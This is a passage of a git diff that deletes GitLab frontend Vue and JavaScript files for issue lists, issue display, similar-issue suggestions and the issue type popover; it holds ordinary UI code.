- <div v-if="showPaginationControls && useKeysetPagination" class="gl-text-center gl-mt-3">
- <gl-keyset-pagination
- :has-next-page="hasNextPage"
- :has-previous-page="hasPreviousPage"
- @next="$emit('next-page')"
- @prev="$emit('previous-page')"
- />
- </div>
- <gl-pagination
- v-else-if="showPaginationControls"
- :per-page="defaultPageSize"
- :total-items="totalItems"
- :value="currentPage"
- :prev-page="previousPage"
- :next-page="nextPage"
- align="center"
- class="gl-pagination gl-mt-3"
- @input="$emit('page-change', $event)"
- />
- </div>
-</template>
diff --git a/app/assets/javascripts/issuable_list/components/issuable_tabs.vue b/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
deleted file mode 100644
index 96b07031a11..00000000000
--- a/app/assets/javascripts/issuable_list/components/issuable_tabs.vue
+++ /dev/null
@@ -1,65 +0,0 @@
-<script>
-import { GlTabs, GlTab, GlBadge } from '@gitlab/ui';
-
-export default {
- components: {
- GlTabs,
- GlTab,
- GlBadge,
- },
- props: {
- tabs: {
- type: Array,
- required: true,
- },
- tabCounts: {
- type: Object,
- required: false,
- default: null,
- },
- currentTab: {
- type: String,
- required: true,
- },
- },
- methods: {
- isTabActive(tabName) {
- return tabName === this.currentTab;
- },
- isTabCountNumeric(tab) {
- return Number.isInteger(this.tabCounts[tab.name]);
- },
- },
-};
-</script>
-
-<template>
- <div class="top-area">
- <gl-tabs
- class="gl-display-flex gl-flex-grow-1 gl-p-0 gl-m-0 mobile-separator issuable-state-filters"
- nav-class="gl-border-b-0"
- >
- <gl-tab
- v-for="tab in tabs"
- :key="tab.id"
- :active="isTabActive(tab.name)"
- @click="$emit('click', tab.name)"
- >
- <template #title>
- <span :title="tab.titleTooltip">{{ tab.title }}</span>
- <gl-badge
- v-if="tabCounts && isTabCountNumeric(tab)"
- variant="muted"
- size="sm"
- class="gl-tab-counter-badge"
- >
- {{ tabCounts[tab.name] }}
- </gl-badge>
- </template>
- </gl-tab>
- </gl-tabs>
- <div class="nav-controls">
- <slot name="nav-actions"></slot>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/issuable_show/components/issuable_show_root.vue b/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
deleted file mode 100644
index 011db52cbe3..00000000000
--- a/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
+++ /dev/null
@@ -1,162 +0,0 @@
-<script>
-import IssuableSidebar from '~/issuable_sidebar/components/issuable_sidebar_root.vue';
-
-import IssuableBody from './issuable_body.vue';
-import IssuableDiscussion from './issuable_discussion.vue';
-import IssuableHeader from './issuable_header.vue';
-
-export default {
- components: {
- IssuableSidebar,
- IssuableHeader,
- IssuableBody,
- IssuableDiscussion,
- },
- props: {
- issuable: {
- type: Object,
- required: true,
- },
- statusBadgeClass: {
- type: String,
- required: false,
- default: '',
- },
- statusIcon: {
- type: String,
- required: false,
- default: '',
- },
- enableEdit: {
- type: Boolean,
- required: false,
- default: false,
- },
- enableAutocomplete: {
- type: Boolean,
- required: false,
- default: false,
- },
- enableAutosave: {
- type: Boolean,
- required: false,
- default: true,
- },
- enableZenMode: {
- type: Boolean,
- required: false,
- default: true,
- },
- enableTaskList: {
- type: Boolean,
- required: false,
- default: false,
- },
- editFormVisible: {
- type: Boolean,
- required: false,
- default: false,
- },
- showFieldTitle: {
- type: Boolean,
- required: false,
- default: false,
- },
- descriptionPreviewPath: {
- type: String,
- required: false,
- default: '',
- },
- descriptionHelpPath: {
- type: String,
- required: false,
- default: '',
- },
- taskCompletionStatus: {
- type: Object,
- required: false,
- default: null,
- },
- taskListUpdatePath: {
- type: String,
- required: false,
- default: '',
- },
- taskListLockVersion: {
- type: Number,
- required: false,
- default: 0,
- },
- },
- methods: {
- handleKeydownTitle(e, issuableMeta) {
- this.$emit('keydown-title', e, issuableMeta);
- },
- handleKeydownDescription(e, issuableMeta) {
- this.$emit('keydown-description', e, issuableMeta);
- },
- },
-};
-</script>
-
-<template>
- <div class="issuable-show-container">
- <issuable-header
- :status-badge-class="statusBadgeClass"
- :status-icon="statusIcon"
- :blocked="issuable.blocked"
- :confidential="issuable.confidential"
- :created-at="issuable.createdAt"
- :author="issuable.author"
- :task-completion-status="taskCompletionStatus"
- >
- <template #status-badge>
- <slot name="status-badge"></slot>
- </template>
- <template #header-actions>
- <slot name="header-actions"></slot>
- </template>
- </issuable-header>
-
- <issuable-body
- :issuable="issuable"
- :status-badge-class="statusBadgeClass"
- :status-icon="statusIcon"
- :enable-edit="enableEdit"
- :enable-autocomplete="enableAutocomplete"
- :enable-autosave="enableAutosave"
- :enable-zen-mode="enableZenMode"
- :enable-task-list="enableTaskList"
- :edit-form-visible="editFormVisible"
- :show-field-title="showFieldTitle"
- :description-preview-path="descriptionPreviewPath"
- :description-help-path="descriptionHelpPath"
- :task-list-update-path="taskListUpdatePath"
- :task-list-lock-version="taskListLockVersion"
- @edit-issuable="$emit('edit-issuable', $event)"
- @task-list-update-success="$emit('task-list-update-success', $event)"
- @task-list-update-failure="$emit('task-list-update-failure')"
- @keydown-title="handleKeydownTitle"
- @keydown-description="handleKeydownDescription"
- >
- <template #status-badge>
- <slot name="status-badge"></slot>
- </template>
- <template #edit-form-actions="actionsProps">
- <slot name="edit-form-actions" v-bind="actionsProps"></slot>
- </template>
- </issuable-body>
-
- <issuable-discussion>
- <template #discussion>
- <slot name="discussion"></slot>
- </template>
- </issuable-discussion>
-
- <issuable-sidebar>
- <template #right-sidebar-items="{ sidebarExpanded, toggleSidebar }">
- <slot name="right-sidebar-items" v-bind="{ sidebarExpanded, toggleSidebar }"></slot>
- </template>
- </issuable-sidebar>
- </div>
-</template>
diff --git a/app/assets/javascripts/issuable_suggestions/components/app.vue b/app/assets/javascripts/issuable_suggestions/components/app.vue
deleted file mode 100644
index 48a5e220abf..00000000000
--- a/app/assets/javascripts/issuable_suggestions/components/app.vue
+++ /dev/null
@@ -1,94 +0,0 @@
-<script>
-import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
-import { __ } from '~/locale';
-import query from '../queries/issues.query.graphql';
-import Suggestion from './item.vue';
-
-export default {
- components: {
- Suggestion,
- GlIcon,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- projectPath: {
- type: String,
- required: true,
- },
- search: {
- type: String,
- required: true,
- },
- },
- apollo: {
- issues: {
- query,
- debounce: 1000,
- skip() {
- return this.isSearchEmpty;
- },
- update: (data) => data.project.issues.edges.map(({ node }) => node),
- variables() {
- return {
- fullPath: this.projectPath,
- search: this.search,
- };
- },
- },
- },
- data() {
- return {
- issues: [],
- loading: 0,
- };
- },
- computed: {
- isSearchEmpty() {
- return !this.search.length;
- },
- showSuggestions() {
- return !this.isSearchEmpty && this.issues.length && !this.loading;
- },
- },
- watch: {
- search() {
- if (this.isSearchEmpty) {
- this.issues = [];
- }
- },
- },
- helpText: __(
- 'These existing issues have a similar title. It might be better to comment there instead of creating another similar issue.',
- ),
-};
-</script>
-
-<template>
- <div v-show="showSuggestions" class="form-group row issuable-suggestions">
- <div v-once class="col-form-label col-sm-2 pt-0">
- {{ __('Similar issues') }}
- <gl-icon
- v-gl-tooltip.bottom
- :title="$options.helpText"
- :aria-label="$options.helpText"
- name="question-o"
- class="text-secondary gl-cursor-help"
- />
- </div>
- <div class="col-sm-10">
- <ul class="list-unstyled m-0">
- <li
- v-for="(suggestion, index) in issues"
- :key="suggestion.id"
- :class="{
- 'gl-mb-3': index !== issues.length - 1,
- }"
- >
- <suggestion :suggestion="suggestion" />
- </li>
- </ul>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/issuable_suggestions/index.js b/app/assets/javascripts/issuable_suggestions/index.js
deleted file mode 100644
index 8f7f317d6b4..00000000000
--- a/app/assets/javascripts/issuable_suggestions/index.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import Vue from 'vue';
-import VueApollo from 'vue-apollo';
-import createDefaultClient from '~/lib/graphql';
-import App from './components/app.vue';
-
-Vue.use(VueApollo);
-
-export default function initIssuableSuggestions() {
- const el = document.getElementById('js-suggestions');
- const issueTitle = document.getElementById('issue_title');
- const { projectPath } = el.dataset;
- const apolloProvider = new VueApollo({
- defaultClient: createDefaultClient(),
- });
-
- return new Vue({
- el,
- apolloProvider,
- data() {
- return {
- search: issueTitle.value,
- };
- },
- mounted() {
- issueTitle.addEventListener('input', () => {
- this.search = issueTitle.value;
- });
- },
- render(h) {
- return h(App, {
- props: {
- projectPath,
- search: this.search,
- },
- });
- },
- });
-}
diff --git a/app/assets/javascripts/issuable_suggestions/queries/issues.query.graphql b/app/assets/javascripts/issuable_suggestions/queries/issues.query.graphql
deleted file mode 100644
index 2384b381344..00000000000
--- a/app/assets/javascripts/issuable_suggestions/queries/issues.query.graphql
+++ /dev/null
@@ -1,26 +0,0 @@
-query issueSuggestion($fullPath: ID!, $search: String) {
- project(fullPath: $fullPath) {
- issues(search: $search, sort: updated_desc, first: 5) {
- edges {
- node {
- iid
- title
- confidential
- userNotesCount
- upvotes
- webUrl
- state
- closedAt
- createdAt
- updatedAt
- author {
- name
- username
- avatarUrl
- webUrl
- }
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/issuable_type_selector/components/info_popover.vue b/app/assets/javascripts/issuable_type_selector/components/info_popover.vue
deleted file mode 100644
index 3a20ccba814..00000000000
--- a/app/assets/javascripts/issuable_type_selector/components/info_popover.vue
+++ /dev/null
@@ -1,41 +0,0 @@
-<script>
-import { GlIcon, GlPopover } from '@gitlab/ui';
-import { __ } from '~/locale';
-
-export default {
- i18n: {
- issueTypes: __('Issue types'),
- issue: __('Issue'),
- incident: __('Incident'),
- issueHelpText: __('For general work'),
- incidentHelpText: __('For investigating IT service disruptions or outages'),
- },
- components: {
- GlIcon,
- GlPopover,
- },
-};
-</script>
-
-<template>
- <span id="popovercontainer">
- <gl-icon id="issuable-type-info" name="question-o" class="gl-ml-5 gl-text-gray-500" />
- <gl-popover
- target="issuable-type-info"
- container="popovercontainer"
- :title="$options.i18n.issueTypes"
- triggers="focus hover"
- >
- <ul class="gl-list-style-none gl-p-0 gl-m-0">
- <li class="gl-mb-3">
- <div class="gl-font-weight-bold">{{ $options.i18n.issue }}</div>
- <span>{{ $options.i18n.issueHelpText }}</span>
- </li>
- <li>
- <div class="gl-font-weight-bold">{{ $options.i18n.incident }}</div>
- <span>{{ $options.i18n.incidentHelpText }}</span>
- </li>
- </ul>
- </gl-popover>
- </span>
-</template>
diff --git a/app/assets/javascripts/issuable_type_selector/index.js b/app/assets/javascripts/issuable_type_selector/index.js
deleted file mode 100644
index 433a62d1ae8..00000000000
--- a/app/assets/javascripts/issuable_type_selector/index.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import Vue from 'vue';
-import InfoPopover from './components/info_popover.vue';
-
-export default function initIssuableTypeSelector() {
- const el = document.getElementById('js-type-popover');
-
- return new Vue({
- el,
- components: {
- InfoPopover,
- },
- render(h) {
- return h(InfoPopover);
- },
- });
-}
diff --git a/app/assets/javascripts/issue.js b/app/assets/javascripts/issue.js
deleted file mode 100644
index 1e053d7daaa..00000000000
--- a/app/assets/javascripts/issue.js
+++ /dev/null
@@ -1,113 +0,0 @@
-import $ from 'jquery';
-import { joinPaths } from '~/lib/utils/url_utility';
-import CreateMergeRequestDropdown from './create_merge_request_dropdown';
-import createFlash from './flash';
-import { EVENT_ISSUABLE_VUE_APP_CHANGE } from './issuable/constants';
-import axios from './lib/utils/axios_utils';
-import { addDelimiter } from './lib/utils/text_utility';
-import { __ } from './locale';
-
-export default class Issue {
- constructor() {
- if ($('.js-alert-moved-from-service-desk-warning').length) {
- Issue.initIssueMovedFromServiceDeskDismissHandler();
- }
-
- if (document.querySelector('#related-branches')) {
- Issue.initRelatedBranches();
- }
-
- Issue.createMrDropdownWrap = document.querySelector('.create-mr-dropdown-wrap');
-
- if (Issue.createMrDropdownWrap) {
- this.createMergeRequestDropdown = new CreateMergeRequestDropdown(Issue.createMrDropdownWrap);
- }
-
- // Listen to state changes in the Vue app
- this.issuableVueAppChangeHandler = (event) =>
- this.updateTopState(event.detail.isClosed, event.detail.data);
- document.addEventListener(EVENT_ISSUABLE_VUE_APP_CHANGE, this.issuableVueAppChangeHandler);
- }
-
- dispose() {
- document.removeEventListener(EVENT_ISSUABLE_VUE_APP_CHANGE, this.issuableVueAppChangeHandler);
- }
-
- /**
- * This method updates the top area of the issue.
- *
- * Once the issue state changes, either through a click on the top area (jquery)
- * or a click on the bottom area (Vue) we need to update the top area.
- *
- * @param {Boolean} isClosed
- * @param {Array} data
- * @param {String} issueFailMessage
- */
- updateTopState(
- isClosed,
- data,
- issueFailMessage = __('Unable to update this issue at this time.'),
- ) {
- if ('id' in data) {
- const isClosedBadge = $('div.status-box-issue-closed');
- const isOpenBadge = $('div.status-box-open');
- const projectIssuesCounter = $('.issue_counter');
-
- isClosedBadge.toggleClass('hidden', !isClosed);
- isOpenBadge.toggleClass('hidden', isClosed);
-
- $(document).trigger('issuable:change', isClosed);
-
- let numProjectIssues = Number(
- projectIssuesCounter.first().text().trim().replace(/[^\d]/, ''),
- );
- numProjectIssues = isClosed ? numProjectIssues - 1 : numProjectIssues + 1;
- projectIssuesCounter.text(addDelimiter(numProjectIssues));
-
- if (this.createMergeRequestDropdown) {
- this.createMergeRequestDropdown.checkAbilityToCreateBranch();
- }
- } else {
- createFlash({
- message: issueFailMessage,
- });
- }
- }
-
- static initIssueMovedFromServiceDeskDismissHandler() {
- const alertMovedFromServiceDeskWarning = $('.js-alert-moved-from-service-desk-warning');
-
- const trimmedPathname = window.location.pathname.slice(1);
- const alertMovedFromServiceDeskDismissedKey = joinPaths(
- trimmedPathname,
- 'alert-issue-moved-from-service-desk-dismissed',
- );
-
- if (!localStorage.getItem(alertMovedFromServiceDeskDismissedKey)) {
- alertMovedFromServiceDeskWarning.show();
- }
-
- alertMovedFromServiceDeskWarning.on('click', '.js-close', (e) => {
- e.preventDefault();
- e.stopImmediatePropagation();
- alertMovedFromServiceDeskWarning.remove();
- localStorage.setItem(alertMovedFromServiceDeskDismissedKey, true);
- });
- }
-
- static initRelatedBranches() {
- const $container = $('#related-branches');
- axios
- .get($container.data('url'))
- .then(({ data }) => {
- if ('html' in data) {
- $container.html(data.html);
- }
- })
- .catch(() =>
- createFlash({
- message: __('Failed to load related branches'),
- }),
- );
- }
-}
diff --git a/app/assets/javascripts/issue_show/components/app.vue b/app/assets/javascripts/issue_show/components/app.vue
deleted file mode 100644
index d3b58ed3012..00000000000
--- a/app/assets/javascripts/issue_show/components/app.vue
+++ /dev/null
@@ -1,585 +0,0 @@
-<script>
-import { GlIcon, GlIntersectionObserver, GlTooltipDirective } from '@gitlab/ui';
-import Visibility from 'visibilityjs';
-import createFlash from '~/flash';
-import Poll from '~/lib/utils/poll';
-import { visitUrl } from '~/lib/utils/url_utility';
-import { __, sprintf } from '~/locale';
-import {
- IssuableStatus,
- IssuableStatusText,
- IssuableType,
- IssueTypePath,
- IncidentTypePath,
- IncidentType,
- POLLING_DELAY,
-} from '../constants';
-import eventHub from '../event_hub';
-import getIssueStateQuery from '../queries/get_issue_state.query.graphql';
-import Service from '../services/index';
-import Store from '../stores';
-import descriptionComponent from './description.vue';
-import editedComponent from './edited.vue';
-import formComponent from './form.vue';
-import PinnedLinks from './pinned_links.vue';
-import titleComponent from './title.vue';
-
-export default {
- components: {
- GlIcon,
- GlIntersectionObserver,
- titleComponent,
- editedComponent,
- formComponent,
- PinnedLinks,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- endpoint: {
- required: true,
- type: String,
- },
- updateEndpoint: {
- required: true,
- type: String,
- },
- canUpdate: {
- required: true,
- type: Boolean,
- },
- canDestroy: {
- required: true,
- type: Boolean,
- },
- showInlineEditButton: {
- type: Boolean,
- required: false,
- default: true,
- },
- showDeleteButton: {
- type: Boolean,
- required: false,
- default: true,
- },
- enableAutocomplete: {
- type: Boolean,
- required: false,
- default: true,
- },
- zoomMeetingUrl: {
- type: String,
- required: false,
- default: '',
- },
- publishedIncidentUrl: {
- type: String,
- required: false,
- default: '',
- },
- issuableRef: {
- type: String,
- required: true,
- },
- issuableStatus: {
- type: String,
- required: false,
- default: '',
- },
- initialTitleHtml: {
- type: String,
- required: true,
- },
- initialTitleText: {
- type: String,
- required: true,
- },
- initialDescriptionHtml: {
- type: String,
- required: false,
- default: '',
- },
- initialDescriptionText: {
- type: String,
- required: false,
- default: '',
- },
- initialTaskStatus: {
- type: String,
- required: false,
- default: '',
- },
- updatedAt: {
- type: String,
- required: false,
- default: '',
- },
- updatedByName: {
- type: String,
- required: false,
- default: '',
- },
- updatedByPath: {
- type: String,
- required: false,
- default: '',
- },
- issuableTemplateNamesPath: {
- type: String,
- required: false,
- default: '',
- },
- markdownPreviewPath: {
- type: String,
- required: true,
- },
- markdownDocsPath: {
- type: String,
- required: true,
- },
- projectPath: {
- type: String,
- required: true,
- },
- projectId: {
- type: Number,
- required: true,
- },
- projectNamespace: {
- type: String,
- required: true,
- },
- isConfidential: {
- type: Boolean,
- required: false,
- default: false,
- },
- isLocked: {
- type: Boolean,
- required: false,
- default: false,
- },
- issuableType: {
- type: String,
- required: false,
- default: 'issue',
- },
- canAttachFile: {
- type: Boolean,
- required: false,
- default: true,
- },
- lockVersion: {
- type: Number,
- required: false,
- default: 0,
- },
- descriptionComponent: {
- type: Object,
- required: false,
- default: () => {
- return descriptionComponent;
- },
- },
- showTitleBorder: {
- type: Boolean,
- required: false,
- default: true,
- },
- isHidden: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- data() {
- const store = new Store({
- titleHtml: this.initialTitleHtml,
- titleText: this.initialTitleText,
- descriptionHtml: this.initialDescriptionHtml,
- descriptionText: this.initialDescriptionText,
- updatedAt: this.updatedAt,
- updatedByName: this.updatedByName,
- updatedByPath: this.updatedByPath,
- taskStatus: this.initialTaskStatus,
- lock_version: this.lockVersion,
- });
-
- return {
- store,
- state: store.state,
- showForm: false,
- templatesRequested: false,
- isStickyHeaderShowing: false,
- issueState: {},
- };
- },
- apollo: {
- issueState: {
- query: getIssueStateQuery,
- },
- },
- computed: {
- issuableTemplates() {
- return this.store.formState.issuableTemplates;
- },
- formState() {
- return this.store.formState;
- },
- hasUpdated() {
- return Boolean(this.state.updatedAt);
- },
- issueChanged() {
- const {
- store: {
- formState: { description, title },
- },
- initialDescriptionText,
- initialTitleText,
- } = this;
-
- if (initialDescriptionText || description) {
- return initialDescriptionText !== description;
- }
-
- if (initialTitleText || title) {
- return initialTitleText !== title;
- }
-
- return false;
- },
- defaultErrorMessage() {
- return sprintf(__('Error updating %{issuableType}'), { issuableType: this.issuableType });
- },
- isClosed() {
- return this.issuableStatus === IssuableStatus.Closed;
- },
- pinnedLinkClasses() {
- return this.showTitleBorder
- ? 'gl-border-b-1 gl-border-b-gray-100 gl-border-b-solid gl-mb-6'
- : '';
- },
- statusIcon() {
- return this.isClosed ? 'issue-close' : 'issue-open-m';
- },
- statusText() {
- return IssuableStatusText[this.issuableStatus];
- },
- shouldShowStickyHeader() {
- return this.issuableType === IssuableType.Issue;
- },
- },
- created() {
- this.flashContainer = null;
- this.service = new Service(this.endpoint);
- this.poll = new Poll({
- resource: this.service,
- method: 'getData',
- successCallback: (res) => this.store.updateState(res.data),
- errorCallback(err) {
- throw new Error(err);
- },
- });
-
- if (!Visibility.hidden()) {
- this.poll.makeDelayedRequest(POLLING_DELAY);
- }
-
- Visibility.change(() => {
- if (!Visibility.hidden()) {
- this.poll.restart();
- } else {
- this.poll.stop();
- }
- });
-
- window.addEventListener('beforeunload', this.handleBeforeUnloadEvent);
-
- eventHub.$on('delete.issuable', this.deleteIssuable);
- eventHub.$on('update.issuable', this.updateIssuable);
- eventHub.$on('close.form', this.closeForm);
- eventHub.$on('open.form', this.openForm);
- },
- beforeDestroy() {
- eventHub.$off('delete.issuable', this.deleteIssuable);
- eventHub.$off('update.issuable', this.updateIssuable);
- eventHub.$off('close.form', this.closeForm);
- eventHub.$off('open.form', this.openForm);
- window.removeEventListener('beforeunload', this.handleBeforeUnloadEvent);
- },
- methods: {
- handleBeforeUnloadEvent(e) {
- const event = e;
- if (this.showForm && this.issueChanged && !this.issueState.isDirty) {
- event.returnValue = __('Are you sure you want to lose your issue information?');
- }
- return undefined;
- },
-
- updateStoreState() {
- return this.service
- .getData()
- .then((res) => res.data)
- .then((data) => {
- this.store.updateState(data);
- })
- .catch(() => {
- createFlash({
- message: this.defaultErrorMessage,
- });
- });
- },
-
- updateAndShowForm(templates = {}) {
- if (!this.showForm) {
- this.showForm = true;
- this.store.setFormState({
- title: this.state.titleText,
- description: this.state.descriptionText,
- lock_version: this.state.lock_version,
- lockedWarningVisible: false,
- updateLoading: false,
- issuableTemplates: templates,
- });
- }
- },
-
- requestTemplatesAndShowForm() {
- return this.service
- .loadTemplates(this.issuableTemplateNamesPath)
- .then((res) => {
- this.updateAndShowForm(res.data);
- })
- .catch(() => {
- createFlash({
- message: this.defaultErrorMessage,
- });
- this.updateAndShowForm();
- });
- },
-
- openForm() {
- if (!this.templatesRequested) {
- this.templatesRequested = true;
- this.requestTemplatesAndShowForm();
- } else {
- this.updateAndShowForm(this.issuableTemplates);
- }
- },
-
- closeForm() {
- this.showForm = false;
- },
-
- updateIssuable() {
- const {
- store: { formState },
- issueState,
- } = this;
- const issuablePayload = issueState.isDirty
- ? { ...formState, issue_type: issueState.issueType }
- : formState;
- this.clearFlash();
- return this.service
- .updateIssuable(issuablePayload)
- .then((res) => res.data)
- .then((data) => {
- if (
- !window.location.pathname.includes(data.web_url) &&
- issueState.issueType !== IncidentType
- ) {
- visitUrl(data.web_url);
- }
-
- if (issueState.isDirty) {
- const URI =
- issueState.issueType === IncidentType
- ? data.web_url.replace(IssueTypePath, IncidentTypePath)
- : data.web_url;
- visitUrl(URI);
- }
- })
- .then(this.updateStoreState)
- .then(() => {
- eventHub.$emit('close.form');
- })
- .catch((error = {}) => {
- const { message, response = {} } = error;
-
- this.store.setFormState({
- updateLoading: false,
- });
-
- let errMsg = this.defaultErrorMessage;
-
- if (response.data && response.data.errors) {
- errMsg += `. ${response.data.errors.join(' ')}`;
- } else if (message) {
- errMsg += `. ${message}`;
- }
-
- this.flashContainer = createFlash({
- message: errMsg,
- });
- });
- },
-
- deleteIssuable(payload) {
- return this.service
- .deleteIssuable(payload)
- .then((res) => res.data)
- .then((data) => {
- // Stop the poll so we don't get 404's with the issuable not existing
- this.poll.stop();
-
- visitUrl(data.web_url);
- })
- .catch(() => {
- createFlash({
- message: sprintf(__('Error deleting %{issuableType}'), {
- issuableType: this.issuableType,
- }),
- });
- });
- },
-
- hideStickyHeader() {
- this.isStickyHeaderShowing = false;
- },
-
- showStickyHeader() {
- this.isStickyHeaderShowing = true;
- },
-
- clearFlash() {
- if (this.flashContainer) {
- this.flashContainer.style.display = 'none';
- this.flashContainer = null;
- }
- },
-
- taskListUpdateStarted() {
- this.poll.stop();
- },
-
- taskListUpdateSucceeded() {
- this.poll.enable();
- this.poll.makeDelayedRequest(POLLING_DELAY);
- },
-
- taskListUpdateFailed() {
- this.poll.enable();
- this.poll.makeDelayedRequest(POLLING_DELAY);
-
- this.updateStoreState();
- },
- },
-};
-</script>
-
-<template>
- <div>
- <div v-if="canUpdate && showForm">
- <form-component
- :form-state="formState"
- :initial-description-text="initialDescriptionText"
- :can-destroy="canDestroy"
- :issuable-templates="issuableTemplates"
- :markdown-docs-path="markdownDocsPath"
- :markdown-preview-path="markdownPreviewPath"
- :project-path="projectPath"
- :project-id="projectId"
- :project-namespace="projectNamespace"
- :show-delete-button="showDeleteButton"
- :can-attach-file="canAttachFile"
- :enable-autocomplete="enableAutocomplete"
- :issuable-type="issuableType"
- />
- </div>
- <div v-else>
- <title-component
- :issuable-ref="issuableRef"
- :can-update="canUpdate"
- :title-html="state.titleHtml"
- :title-text="state.titleText"
- :show-inline-edit-button="showInlineEditButton"
- />
-
- <gl-intersection-observer
- v-if="shouldShowStickyHeader"
- @appear="hideStickyHeader"
- @disappear="showStickyHeader"
- >
- <transition name="issuable-header-slide">
- <div
- v-if="isStickyHeaderShowing"
- class="issue-sticky-header gl-fixed gl-z-index-3 gl-bg-white gl-border-1 gl-border-b-solid gl-border-b-gray-100 gl-py-3"
- data-testid="issue-sticky-header"
- >
- <div
- class="issue-sticky-header-text gl-display-flex gl-align-items-center gl-mx-auto gl-px-5"
- >
- <p
- class="issuable-status-box status-box gl-my-0"
- :class="[isClosed ? 'status-box-issue-closed' : 'status-box-open']"
- >
- <gl-icon :name="statusIcon" class="gl-display-block d-sm-none gl-h-6!" />
- <span class="gl-display-none d-sm-block">{{ statusText }}</span>
- </p>
- <span v-if="isLocked" data-testid="locked" class="issuable-warning-icon">
- <gl-icon name="lock" :aria-label="__('Locked')" />
- </span>
- <span v-if="isConfidential" data-testid="confidential" class="issuable-warning-icon">
- <gl-icon name="eye-slash" :aria-label="__('Confidential')" />
- </span>
- <span
- v-if="isHidden"
- v-gl-tooltip
- :title="__('This issue is hidden because its author has been banned')"
- data-testid="hidden"
- class="issuable-warning-icon"
- >
- <gl-icon name="spam" />
- </span>
- <p
- class="gl-font-weight-bold gl-overflow-hidden gl-white-space-nowrap gl-text-overflow-ellipsis gl-my-0"
- :title="state.titleText"
- >
- {{ state.titleText }}
- </p>
- </div>
- </div>
- </transition>
- </gl-intersection-observer>
-
- <pinned-links
- :zoom-meeting-url="zoomMeetingUrl"
- :published-incident-url="publishedIncidentUrl"
- :class="pinnedLinkClasses"
- />
-
- <component
- :is="descriptionComponent"
- :can-update="canUpdate"
- :description-html="state.descriptionHtml"
- :description-text="state.descriptionText"
- :updated-at="state.updatedAt"
- :task-status="state.taskStatus"
- :issuable-type="issuableType"
- :update-url="updateEndpoint"
- :lock-version="state.lock_version"
- @taskListUpdateStarted="taskListUpdateStarted"
- @taskListUpdateSucceeded="taskListUpdateSucceeded"
- @taskListUpdateFailed="taskListUpdateFailed"
- />
-
- <edited-component
- v-if="hasUpdated"
- :updated-at="state.updatedAt"
- :updated-by-name="state.updatedByName"
- :updated-by-path="state.updatedByPath"
- />
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/issue_show/components/description.vue b/app/assets/javascripts/issue_show/components/description.vue
deleted file mode 100644
index 9dc122d426c..00000000000
--- a/app/assets/javascripts/issue_show/components/description.vue
+++ /dev/null
@@ -1,169 +0,0 @@
-<script>
-import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
-import $ from 'jquery';
-import createFlash from '~/flash';
-import { __, sprintf } from '~/locale';
-import TaskList from '../../task_list';
-import animateMixin from '../mixins/animate';
-
-export default {
- directives: {
- SafeHtml,
- },
-
- mixins: [animateMixin],
-
- props: {
- canUpdate: {
- type: Boolean,
- required: true,
- },
- descriptionHtml: {
- type: String,
- required: true,
- },
- descriptionText: {
- type: String,
- required: false,
- default: '',
- },
- taskStatus: {
- type: String,
- required: false,
- default: '',
- },
- issuableType: {
- type: String,
- required: false,
- default: 'issue',
- },
- updateUrl: {
- type: String,
- required: false,
- default: null,
- },
- lockVersion: {
- type: Number,
- required: false,
- default: 0,
- },
- },
- data() {
- return {
- preAnimation: false,
- pulseAnimation: false,
- initialUpdate: true,
- };
- },
- watch: {
- descriptionHtml(newDescription, oldDescription) {
- if (!this.initialUpdate && newDescription !== oldDescription) {
- this.animateChange();
- } else {
- this.initialUpdate = false;
- }
-
- this.$nextTick(() => {
- this.renderGFM();
- });
- },
- taskStatus() {
- this.updateTaskStatusText();
- },
- },
- mounted() {
- this.renderGFM();
- this.updateTaskStatusText();
- },
- methods: {
- renderGFM() {
- $(this.$refs['gfm-content']).renderGFM();
-
- if (this.canUpdate) {
- // eslint-disable-next-line no-new
- new TaskList({
- dataType: this.issuableType,
- fieldName: 'description',
- lockVersion: this.lockVersion,
- selector: '.detail-page-description',
- onUpdate: this.taskListUpdateStarted.bind(this),
- onSuccess: this.taskListUpdateSuccess.bind(this),
- onError: this.taskListUpdateError.bind(this),
- });
- }
- },
-
- taskListUpdateStarted() {
- this.$emit('taskListUpdateStarted');
- },
-
- taskListUpdateSuccess() {
- this.$emit('taskListUpdateSucceeded');
- },
-
- taskListUpdateError() {
- createFlash({
- message: sprintf(
- __(
- 'Someone edited this %{issueType} at the same time you did. The description has been updated and you will need to make your changes again.',
- ),
- {
- issueType: this.issuableType,
- },
- ),
- });
-
- this.$emit('taskListUpdateFailed');
- },
-
- updateTaskStatusText() {
- const taskRegexMatches = this.taskStatus.match(/(\d+) of ((?!0)\d+)/);
- const $issuableHeader = $('.issuable-meta');
- const $tasks = $('#task_status', $issuableHeader);
- const $tasksShort = $('#task_status_short', $issuableHeader);
-
- if (taskRegexMatches) {
- $tasks.text(this.taskStatus);
- $tasksShort.text(
- `${taskRegexMatches[1]}/${taskRegexMatches[2]} task${taskRegexMatches[2] > 1 ? 's' : ''}`,
- );
- } else {
- $tasks.text('');
- $tasksShort.text('');
- }
- },
- },
- safeHtmlConfig: { ADD_TAGS: ['gl-emoji'] },
-};
-</script>
-
-<template>
- <div
- v-if="descriptionHtml"
- :class="{
- 'js-task-list-container': canUpdate,
- }"
- class="description"
- >
- <div
- ref="gfm-content"
- v-safe-html:[$options.safeHtmlConfig]="descriptionHtml"
- :class="{
- 'issue-realtime-pre-pulse': preAnimation,
- 'issue-realtime-trigger-pulse': pulseAnimation,
- }"
- class="md"
- ></div>
- <!-- eslint-disable vue/no-mutating-props -->
- <textarea
- v-if="descriptionText"
- ref="textarea"
- v-model="descriptionText"
- :data-update-url="updateUrl"
- class="hidden js-task-list-field"
- dir="auto"
- >
- </textarea>
- <!-- eslint-enable vue/no-mutating-props -->
- </div>
-</template>
